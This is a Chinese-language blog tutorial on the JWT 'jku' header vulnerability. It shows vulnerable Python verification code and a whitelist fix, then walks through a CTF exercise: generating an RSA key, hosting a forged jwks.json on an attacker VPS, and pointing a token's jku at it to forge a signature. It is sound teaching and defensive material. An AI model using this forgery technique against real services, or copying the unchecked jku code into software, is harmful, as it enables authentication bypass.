jku远程公钥加载
JKU(JWT Set URL)是 JWT 头部的一个扩展字段,作用是指定远程公钥的下载地址,让服务端自动从远程服务器拉取 JWK(JSON Web Key)公钥,完成 JWT 验签。
这是微服务、SSO、第三方授权场景中最常用的自动公钥管理方案,无需手动配置公钥
验签流程:
- 解析 JWT 头部 → 提取
jku+kid(密钥 ID) - 调用
jku地址下载 JWKS - 根据
kid匹配对应公钥 - 使用公钥验证 JWT 签名
JWT Header结构
{
"alg": "RS256", // 非对称加密算法(必须用RSA,不能用HS256)
"typ": "JWT",
"jku": "https://your-auth-server/.well-known/jwks.json", // 远程公钥地址
"kid": "key-123" // 公钥唯一标识,用于匹配JWKS中的密钥
}
漏洞出现原因
后端校验的时候通过JKU加载远程公钥,并且没有对远程公钥加载地址进行校验。
这个时候,攻击者把公钥加载的地址改为自己的服务器地址以及部署好公钥,然后用自己的私钥进行签名,这样就可以成功的伪造JWT Token了。
unverified_header = jwt.get_unverified_header(token)
if "jku" in unverified_header:
import requests
jku_url = unverified_header["jku"]
# 安全性提醒:生产中需要严格校验jku来源
resp = requests.get(jku_url, timeout=3)
resp.raise_for_status()
# 假定jku endpoint直接返回JWK Set对象(见RFC 7517与7516)
jwks = resp.json()
if "keys" in jwks:
# 只支持单key情况(可根据kid匹配完善):取第一个即可
from jwt.algorithms import RSAAlgorithm
jwk_key = jwks["keys"][0]
public_key = RSAAlgorithm.from_jwk(jwk_key)
data = jwt.decode(token, public_key, algorithms=['RS256'])
漏洞修复
- jku 必须做白名单校验
unverified_header = jwt.get_unverified_header(token)
if "jku" in unverified_header:
import requests
jku_url = unverified_header["jku"]
from urllib.parse import urlparse
parsed_url = urlparse(jku_url)
# 白名单判断
domain_matched = any(parsed_url.netloc == urlparse(safe_url).netloc for safe_url in security_url)
if not domain_matched:
raise jwt.InvalidTokenError("JWK Set来源不在白名单内")
resp = requests.get(jku_url, timeout=3)
resp.raise_for_status()
# 假定jku endpoint直接返回JWK Set对象(见RFC 7517与7516)
jwks = resp.json()
if "keys" in jwks:
# 只支持单key情况(可根据kid匹配完善):取第一个即可
from jwt.algorithms import RSAAlgorithm
jwk_key = jwks["keys"][0]
public_key = RSAAlgorithm.from_jwk(jwk_key)
data = jwt.decode(token, public_key, algorithms=['RS256'])
实战:
创建你的RSA密钥对
使用JWT Editor

然后生成,最后点击ok即可。

在生成好的密钥对上选择如下操作(jwk是jwt的密钥)

复制出来的内容如下所示:
{
"kty": "RSA",
"e": "AQAB",
"kid": "123",
"n": "6GAJ_naz7p6mdS4v-WqeLpxc_5qqPoXR2ujK-EkitHSCyQ4JEv2CD6nAw1I8HVdBleaW07bMo1wMxSNfsXjXa-r-wGMuC7QcivmvSZ1OXDRvreb4CATF6wBiiALWak0gOR4CvtX3vKCT-c42cjXL8Bs_zGmywLKttsXZAPp1YU143r6xKJdxZgOo2lRcV36iwoonNTwQy8v0evv_U47euDM7Ed124_qauSSTZ6FrMOzh2VfOC4G9LpOsS6Qh5gYNTAEK_Mcu-fSBSo8h9hF0DtFkLd0Gtd5wRA1w6rvHvA5fs39s_zzR5hWV4mUrSX8h0vYD7mZ0Ma6h7qY6lZ8Guw"
}
然后制作一个jwks.json,
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "123",
"n": "上一个步骤里的n,也就是你的公钥",
"e": "AQAB"
}
]
}
每个字段的含义
- kty:密钥类型,固定写 RSA
- alg:签名算法,一般写 RS256
- use:用途,sig \= 签名
- kid:密钥编号,随便写,唯一就行
- n:你的公钥核心内容
- e:公钥指数,一般固定 AQAB
将你制作的jwks.json,放到VPS的一个目录里。
通过python开启一个http服务
python3 -m http.server
#默认开启的是8000
修改数据包
首先获取到你要修改的JWT数据包,修改header
{
"alg": "RS256",
"typ": "JWT",
"jku": "http://ip:8000/jwks.json"
}

然后重新签名一下

然后Send,成功获取flag

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627415

浙公网安备 33010602011771号